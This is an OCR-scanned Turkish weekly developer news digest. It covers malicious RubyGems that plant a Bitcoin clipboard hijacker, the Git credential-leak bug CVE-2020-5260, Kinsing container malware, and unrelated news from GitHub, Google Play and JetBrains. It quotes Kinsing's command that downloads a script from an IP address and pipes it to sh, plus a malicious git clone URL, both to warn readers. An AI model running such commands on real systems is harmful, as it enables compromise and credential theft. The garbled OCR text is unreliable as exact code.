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TeknoSeyir’de Oku

1 725 adet zararli Ruby kiitiiphanesi RubyGems
tizerinden kaldirild:

Biiyiik ve orta 6lgekli uygulamalar iigiincii parti kiitiiphane kullanmadan
geligtirmenin pek miimkiin olmadig! giiniimiiz yazilim ekosisteminde, kotii
amach kisiler artik sadece son kullamcilari degil, biz gelistiricileri de hedef
aliyorlar. Reversinglabs isimli giivenlik firmasinin bu hafta yayimnladig: bir
blog yazis1 2020 Subat ayinda yaganmig ve ¢oziimlenmis bir olaya i1k tutu-
yOr.

ReversinglLabs firmasi Subat aymnda 725 adet yeni RubyGems (Ruby
programlama dilinin iiglinci parti kiitiiphaneleri kayit etmek icin kullandig
sistem) kaydi tespit etmigler ve incelediklerinde de bu kiitiiphanelerin kotii
amach kod satirlar igerdiklerini kegfetmigler. "JimCarrey" ve "PeterGib-
bons" geklinde takma isimlerle RubyGems iizerinden paylagilmig, isim oyunu
igeren bu kiitiiphaneler giivenlik firmasinin tespit etmesi ve RubyGems’e bil-
dirmesi iizerine sistemden silindiler fakat silinene kadar gecen siire boyunca
binlerce kez indirildikleri de gézden ka¢miyor. RubyGems iizerinden silinen
bu kiitiiphanelerin tam listesi i¢in buraya tiklayabilirsiniz.

Koti amach kisiler yine isim oyunlar1 yaparak aradan sivigmaya calig-
mislar. Mesela "atlas client" isimli bir kiitiphanenin sahtesini "atlas-client"
ismiyle yayimnlamisglar. Peki ne yapiyor bu kétii amach kiitiiphaneler?

Bu kiitiiphanelerin yaptigi sey Windows sistemlere bilgisayarin acilma-
siyla birlikte caligacak bir Clipboard Hijack betigi kuruyor. Yani kes, kopyala,
yapigtir gibi iglemlerin yapilabilmesini saglayan "pano" sistemini manipiile
ediyor. Bilgisayarinizin arkaplaninda ¢aligan bu Visual Basic betigi sonsuz
déngiiye girmis sekilde siirekli panoya kopyaladiginiz metinleri kontrol edi-
yor, eger bunun bir BitCoin cilizdan adresi oldugunu anlarsa, o metini bagka
bir BitCoin ciizdan adresi ile degistiriyor. Yani kisaca sizin bagkasina gon-
dereceginiz paray1 kendisine aktarmak istiyor.
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Sekil 1: Zararh yazihmin sisteme nasil eklendigini gosteren akig semasi. Kay-
nak: Reversinglabs

Yine giivenlik firmasinin aciklamasina gore saldirganin ilgili BitCoin ciiz-
danina hicbir para transferi gerceklesmemis. Zaten diigiik bir olasilikti. Yaz-
digin sahte kiitiiphaneyi Windows kullanan bir yazilim geligtirici indirecek, o
yazilim geligtirici BitCoin’i aktif olarak kullaniyor olacak ve bir para tranferi
yapacagl zaman adanmin panosunu manipiile edip, paray: kendine gekeceksin.
Ohoo. .. Olme egegim Slme. Tlging bir kafa gercekten. Saldirgan amacina ula-
samadan gonderdigi sahte kiitiiphaneler silinmig ama eger indirilmigse sizin
bilgisayarinizdan silinmemigtir. Ruby dili {izerinde aktif geligtirme yapiyor
ve Windows kullaniyorsaniz sisteminizle birlikte baglayan uygulamalar: bir
kontrol etmenizde fayda var.

2 Zararlh URL ile sifre calmaya yarayan Git acigi
kapatih

Google'in Project Zero isimli giivenlik takimi tarafindan ortaya cikarilan ve
raporlanan giivenlik acigi bu hafta icerisinde yaymnlanan Git siiriimleriyle
birlikte kapatildi. CVE numarasi: CVE-2020-5260

Git bazi kimlik dogrulama iglemleri i¢in igletim sistemi tarafindan saglan-
mig harici yardimer araclar: kullaniyor. Fakat "git clone" gibi komutlardan
girilen zararli URL’ler, bu harici kimlik dogrulama araglarinda hata yol acip,
sistemde kayith kimlik bilgilerini (kullanici ady, sifre, ssh anahtar1 vb.) bagka
bir sunucuya yonlendirebiliyor. Ornek vermek gerekirse:

git clone 'https://example.com?}0ahost=github.com’

seklinde caligtirilan bir komut github. com i¢in depolanmig kimlik bilgile-


https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems
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rini example. com sitesine yonlendiriyor. Elbette benim gibi siz de ilk bakista
"boyle bariz gltipheli bir komutu kim, niye ¢aligtirsin?" diyebilirsiniz fakat bu
baglantilar her zaman béyle acik sekilde olmuyor. Ornegin, bir depo icerisine
bagka bir depoyu eklemeye yarayan Git’in Submodule sistemi bdyle bir zaafi-
yete kurban gidebilir. Siz depoyu normal bir gekilde sunucudan bilgisayarina
gekebilirsiniz fakat Git, Submodule olarak eklenen diger depolar1 gekerken
bdyle bir baglanti ile kargilagirsa haberiniz olmayabilir.

Neyse ki bu giivenlik sorunu halka acik olarak paylasilmadan énce ka-
patilmig. Git versiyonlarinizi giincelleyerek olasi bir zararin éniine gegmis
olursunuz. Eger Git versiyonunuzu yiikseltebilecek durumda degilseniz aga-
gi1daki geyleri yapmanizda fayda var:

e Bu komutlart ¢aligtirarak Git’in harici kimlik dogrulama yardimecilarini
kullanmasini 6nleyebilirsiniz:

$ git config --unset credential.helper
$ git config --global --unset credential.helper
$ git config --system --unset credential.helper

e Indirdiginiz depolar icerisindeki . gitmodules dosyasini inceleyebilir ve
stipheli bir durum gérmezseniz iglemlerinize devam edebilirsiniz.

Giivenlik acig1 hakkinda daha detayl bilgi edinmek isterseniz konu bagh-
gina ekledigim baglantiya ya da Google’in Project Zero takiminin su yazisina
gbz atabilirsiniz.

3 Konteynerleri tehdit eden yeni bir zararh yazilim:
Kinsing Malware

Linux c¢ekirdeginin icerisinde olan fakat Docker ile birlikte popiilerligi artmis
olan konteyner yapisi artik gliniimiizde birgok girket ve kurum tarafindan
kullaniliyor. Yeni teknolojiler biz gelistiricilerin oldugu gibi kotii amach ki-
gilerin de ilgisini ¢ekiyor. Aqua isimli konteyner gilivenligi lizerine c¢aligan
firmanin gegtigimiz hafta blogunda yaymladigi yazi ile konteyner icerisinde
kripta para madenciligi yapan yeni bir malware ortaya cikti. Ismine "Kin-
sing" demisler.

Bu malware yaziliminin sisteminize sizabilmesi i¢in bir kriter var. O da
vanhs ayarlanmig ve acik birakilmig Docker Daemon API’sinin portu. Kotii
amacl kisiler bu acik portu otomatik olarak bulan ve kendi amaci i¢in kul-
lanan exploit geligtirmigler. Bu exploit’in yaptig ilk ig yeni bir Ubuntu kon-
teyner’i olugturmak ve igerisinde asagidaki komutu ¢aligtirmak:


https://bugs.chromium.org/p/project-zero/issues/detail?id=2021
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability

Bash
/bin/bash -c apt-get update && apt-get install -y wget

— cron;service cron start; wget -q -0 - 142.44.191.122/d.sh
< | sh;tail -f /dev/null

GNU/Linux sistemlere agina olmayanlar icin agiklamak gerekirse bu komu-
tun yaptig is:

1. apt-get update: Tiim paket depolarin: giincelliyor.
2. apt-get install -y wget cron: wget ve cron araglarini kuruyor.

3. wget -q -0 - 142.44.191.122/d.sh | sh: wget’i kullanarak asil za-
rarl yazilimi indiriyor ve caligtiriyor.

4. tail -f /dev/null: /dev/null dosyasim siirekli yazdirarak kontey-
ner’i ayakta tutmaya caligiyor.

Asil zararh yazihim ise baz1 giivenlik duvarlarini devre dig1 birakarak ken-
dini genigletmeye ve sistem kaynaklarinmizi kullanarak kripto para madenciligi

yaplyor.

Kinsing Malware m ¢ "aqua
Attack Tree

o

Sekil 2: Zararli yazilmin tiim siireclerini gosteren diyagram. Kaynak: Aqua

Eger kigisel olarak ya da firmanizda Docker kullamiyorsamiz gerekli kont-
rolleri yapmay1 ihmal etmeyin. Zararli yazilim hakkinda daha detayl bilgi
ve 6nlemler i¢in konu baghgina ekledigim baglantiya tiklayabilirsiniz.


https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability

4 Bakan Varank: "Yazilim Okullar1 Acacagiz"

Gectigimiz haftaki yazihm giindemi yazisini (bkz: Yazilim Giindemi - 2020/14)
son anda giincelleyerek "Acik Seminer" etkinliginin baglayacagini duyurmusg-
tum. Etkinlik 6niimiizdeki haftalarda da devam edecek. Bu etkinliklerin ilk
giiniinde Sanayi ve Teknoloji Bakan1 Mustafa Varank da katilim gosterdi ve
baz1 aciklamalarda bulundu. Ozetleyecek olursak:

e "Tiirkiye Agik Kaynak Platformunda 60’1 agkin girket, 50’den fazla {ini-
versite, sektor temsilcisi STK ve topluluk tiyesi binlerce yazilimer bu-
lunuyor. Burada sadece yazilim geligtirenler degil, yeni teknolojilerde
yazilim ihtiyaci olan girketler de bizim paydagimiz. Platform aracili-
giyla ihtiyag sahibiyle yazilim geligtiricileri bir araya getiriyoruz".

e Platformun gelecek 2 yillik ¢aligma programi hazir.

e Bilisim Vadisi ve TUBITAK-TUSSIDE ile birlikte yiiriitiilen bu prog-
rama, Istanbul ve Dogu Marmara kalkinma ajanlar1 30 milyon liralik
katki sunacakmis.

e 2023 Sanayi ve Teknoloji Stratejisi kapsaminda 500.000 yazilimci ve
yvazilhimda kiiresel iirlinler geligtiren bir iilke olma hedefi var. Su an
iilkemizde 150.000’in tizerinde yazilim gelistirici varmais.

e Istanbul’da ve Bilisim Vadisi’'nde Yazihim Okullar acilacakmus.

e "Seminer programimin ardindan, farkl yag gruplarim ve yetkinlikleri
hedefleyen egitim programlarimiz baglayacak. Egitimleri bagariyla ta-
mamlayan katilimcilara, dijital rozet verecegiz"

Diger birgok iilkenin de agik kaynak ve yazilimla ilgili dogrudan kurumlar
kurdugu giiniimiiz ekosisteminde bence dogru bir hareket. Ulke olarak bu
akimi yakalayabilmig olmak umut vaat ediyor. Umarim ilerleyen siireclerde
planlar hakkinda daha detaylari aciklamalar da gelir. Her ne kadar "Agik
Kaynak"tan ziyade "Ozgiir Yazihm" kavramin daha c¢ok destekliyor olsam
da devletlerin "A¢ik Kaynak" tarafina yénelmesini de anlayabiliyorum.

Oniimiizdeki haftalarda da devam edecek "Acik Seminer" etkinliklerini
takip etmek icin bu sayfayi ziyaret edebilirsiniz: https://www.acikseminer.
com/
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5 GitHub takimlar i¢in de iicretsiz oldu

Gegtigimiz yazilim giindemi yazilarinin birinde GitHub’da kullamc olarak
ozel depo (private repository) agmanin iicretsiz oldugunu konugmustuk diye
hatirhyorum (hangi yaz oldugunu bulamadim :) ). Bu hafta ise GitHub ya-
yinladig1 blog yazist ile birlikte artik takimlar ici de GitHub Free paketinin
bulundugunu agikladi. Ayrica GitHub Teams paketinin kullanici bagina aylik
$9 olan iicretini de $4 olarak giincelledi.

Ucretsiz paketle birlikte artik 6zel depolarin temel tiim 6zelliklerine iic-
retsiz olarak erigebilecek firmalar. Ayrica 500MB GitHub Packages ve 2.000
dakika GitHub Actions hizmetleri de iicretsiz pakete dahil. Ucretli olarak
kullanmaya devam edecek ve yillik olarak GitHub Teams satin almig firma-
lar ve organizasyonlar icin de kalan aylarin iicretleri de iade edilecek.

You are downgrading to GitHub Free

Protected branches in private repos (using 1)

Draft PRs in private repos

GitHub Pages in private repos (using 2)

Wikis in private repos (using 1)

Code owners in private repos

Multiple issue assignees in private repos

Multiple PR assignees in private repos

Code review automatic assignment in private repos

Scheduled reminders in private repos

X X X X X X X X X X

Standard support

2,000 minutes for GitHub Actions

«

4 500MB of storage for packages

If you've got time to share, we'd love to learn more about
why you're downgrading.

Sekil 3: Ucretli GitHub Teams paketinden iicretsiz pakete gecerken kaybedi-
len oOzellikler

Yukaridaki gérselde de gorebileceginiz gibi bircok faydal 6zellik iicretsiz
siiriimde yok. Bu 6zelliklere ihtiyac duyan firmalar ve kurumlarin gecis ya-
pacaklarini sanmiyorum ama "bunlar olmasa da olur" diyenler i¢in iyi bir
tasarruf.


https://github.blog/2020-04-14-github-is-now-free-for-teams/

6 Google Play Store Policy giincellendi: Arka planda
konum servisi kullanan uygulamalar 6zel izin al-
mak zorunda

Google’in Android i¢in uygulama ve icerik magazasi olan Play Store’da uy-
gulama yayinlamak i¢in uyulmasi gereken Policy dokiimani giincellendi. Ar-
tik kullaniciya bir siireligine iicretsiz sunulan daha sonra iicretli hale gelen
uygulamalar detay vermek zorunda ve ondan da 6nemlisi artik uygulama-
niz arka planda konum servisini kullanmak istiyorsa Google’dan 6zel olarak
izinli olmas1 gerekiyor.

$9.99 billed monthly
Cancel anytime 0 FSREE)IQIL

— L e
(V) B0AY | St

App with clear offer terms, billing App with hidden terms, unclear
frequency, and price billing frequency and price

Sekil 4: Artik uygulamaniz kullaniciya soldaki gibi iicretsiz siire¢ hakkinda
detayl bilgiler vermek zorunda, sagdaki kullanima izin verilmiyor.

Eger kullanicilar yine de dikkatsiz davranip bu agiklamalar: gérmezden
gelirse diye Google énlemini almig. Ucretsiz kullanim siireci bitmeden énce
kullaniciya e-posta atarak durum hakkinda bilgi vermek zorundasiniz. Ay-
rica aktif aboneligi olan fakat uygulamay: silmig kullanicilar da bildirimlerle
uyarilacakmig, "uygulamay silmek abonelikten gikmak anlamina gelmiyor"


https://www.androidpolice.com/2020/04/16/play-store-app-policy-changes-misleading-subscriptions-android-11-location/

seklinde. Bence gayet yerinde uygulamalar.

Diger bir konumuz ise arka planda konum bilgilerini kullanan uygula-
malan ilgilendiriyor. Artik uygulamaniz arka planda konum bilgilerine de
erigmek istiyorsa ozel olarak Google’a bagvurmaniz ve beyaz listeye (whi-
telist) girebilmek icin Google’t neden arka planda konum bilgisine ihtiyag
duydugunuz konusunda ikna etmeniz gerekiyor. Reklam gosterme ve analiz
igin kullanimlar kabul edilmeyecekmis. Yani Google diyor ki: "Benim di-
simda kimse kullanicilarin konum bilgileriyle reklam gosteremez ve analiz
yapamaz". Pek gagirdigimi sdyleyemem acikcasi.

Arka planda konum bilgisini alip bunu kétiiye kullanan uygulamalarin
oldugu bir gergek elbette fakat bu sorunun éniine gegmek icin uydurulan ¢o-
ziim bana biraz sakincali geldi. Eger Google’in kendi ¢6ziimii olan bir alanda
hizmet veriyorsak (yani bir nevi Google’a rakipsek), Google bizim uygulama-
miz1 beyaz listeye eklemeyebilir. Nitekim reklam gosterme ve analiz igin en
bagindan kisitlanmig zaten. Bu stirecin geffafligi nasil saglanacak? sorusunun
sorulmasi 6nemli.

Bu konuda siz ne diiginiyorsunuz. Yorumlar bélimiinde konugalim.

Arka planda konum bilgisi kullanimi i¢in daha detayl bilgi icin Google’in
hazirladig1 bu sayfay: ziyaret edebilirsiniz.

7 JetBrains bircok IDE ve araci icin 2020.1 siirii-
miini yayinladi

JetBrains firmasiin Nisan ayi itibariyle yayinladig: giincellemeler bu gekilde:

IDE’ler Araclar

* PhpStorm 2020.1 * ReSharper 2020.1

* CLion 2020.1 * EduTools 3.5

* DataGrid 2020.1 * ReSharper C++ 2020.1

* IntelliJ TDEA 2020.1
* GoLand 2020.1

* PyCharm 2020.1

* RubyMine 2020.1

* WebStorm 2020.1

* Rider 2020.1



https://support.google.com/googleplay/android-developer/answer/9799150
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https://www.jetbrains.com/resharper-cpp/whatsnew/?mkt_tok=eyJpIjoiTUdRME9EQXhNMlppTWpKayIsInQiOiJiNGZFR2toVHl1ZDdWS3pMVUFcL1lOUkZiUUxtR2U3Wk9yRmVrWlp1SlVMS3VLd1FHUlpaVVdZV1k2RXBqSGF4NXVhQ1RhOERNVTA5UVFhb1U2SCsrZHgwMGdIc29KdVwvOUZVMzRPYTNTMUoxdWFOT3Q2eUN0M2Y5RmJFOHdHTXJTIn0%253D
https://www.jetbrains.com/idea/whatsnew/
https://www.jetbrains.com/go/whatsnew/
https://www.jetbrains.com/pycharm/whatsnew/
https://www.jetbrains.com/ruby/whatsnew/
https://www.jetbrains.com/webstorm/whatsnew/
https://www.jetbrains.com/rider/whatsnew/
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"Acik Seminer" etkinlikleri devam ediyor
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Bu haftanin programui:

e PARDUS Temel Seviye Seminer (1.Giin)

PARDUS Temel Seviye Seminer (2.Giin)

PARDUS Temel Seviye Seminer (3.Giin)

Pardus Uzerinde Python Kullanarak Domain Entegrasyonu (1.Giin)

Pardus Uzerinde Python Kullanarak Domain Entegrasyonu (2.Giin)

Diger Haberler

e Programlama Yarigmasi: Berk Bingol Programming Contest

e npm ve GitHub birlesmesi tamamlandi. Alternatif (bkz: Yazihim Giin-
demi - 2020/11)

e Cloudflare Workers artik COBOL destekliyor.
e ProtonMail Bridge acik kaynak olarak yaymnlandi. GitHub Deposu

e Google, Kotlin i¢in gRPC kiitiiphanesini agik kaynak olarak yayinladi:
grpc-kotlin.

10


https://www.acikseminer.com/
https://www.acikseminer.com/seminerler/pardus-temel-seviye-seminer-1gun-08f34754
https://www.acikseminer.com/seminerler/pardus-temel-seviye-seminer-2gun-6f1799a0
https://www.acikseminer.com/seminerler/pardus-temel-seviye-seminer-3gun-bb5381e0
https://www.acikseminer.com/seminerler/pardus-uzerinde-python-kullanarak-domain-entegrasyonu-1gun-b62a1c6f
https://www.acikseminer.com/seminerler/pardus-uzerinde-python-kullanarak-domain-entegrasyonu-2gun-728376ec
https://ku.acm.org/berkbingol/
https://github.blog/2020-04-15-npm-has-joined-github/
https://blog.npmjs.org/post/612764866888007680/next-phase-montage
https://blog.cloudflare.com/cloudflare-workers-now-support-cobol/
https://protonmail.com/blog/bridge-open-source/
https://github.com/ProtonMail/proton-bridge
https://cloud.google.com/blog/products/application-development/use-grpc-with-kotlin
https://github.com/grpc/grpc-kotlin

e Microsoft, WSL2 (Windows Subsystem for Linux 2) sistemini Windows
10 version 2004 ile birlikte genel erisilebilir olacak.

e Rust 2019 anketi sonuglar yayinlandi.

e Ruby Concurrency Final Raporu yaymlandi.

e Dell BIOS saldirist tespiti igin yeni bir ara¢ yayinladi.

e VuelS v3.0.0 Beta 2 siiriimii yayimnland.

e jQuery 3.5.0 siiriimii yaymlanda.

e Microsoft C++ takimi, GSL 3.0.0 siiriimiinii yayinladi. GitHub Deposu
e NodeJS v13.13.0 siirlimii yaymnlandi.

e 7Zig programlama dilinin 0.6.0 siiriimii yayinlandi.

e Lazarus 2.0.8 siiriimii yayinlandi.

e D programlama dili takimindan yeni ara¢ duyurusu: DustMite.
e Gloo 1.3 siirtimii yayinland.

e Earthly v0.1.0 siiriimii yayinlandi.

e gbundle araci tamitildi. GitHub Deposu

e Tide 0.7.0 slirtimii ¢ikt1.

e Logos 0.11.0 siirtimii ¢ikti.

e Boa 0.7.0 siirimii cikti.

e Blazorise 0.9 stiriimii gikta.
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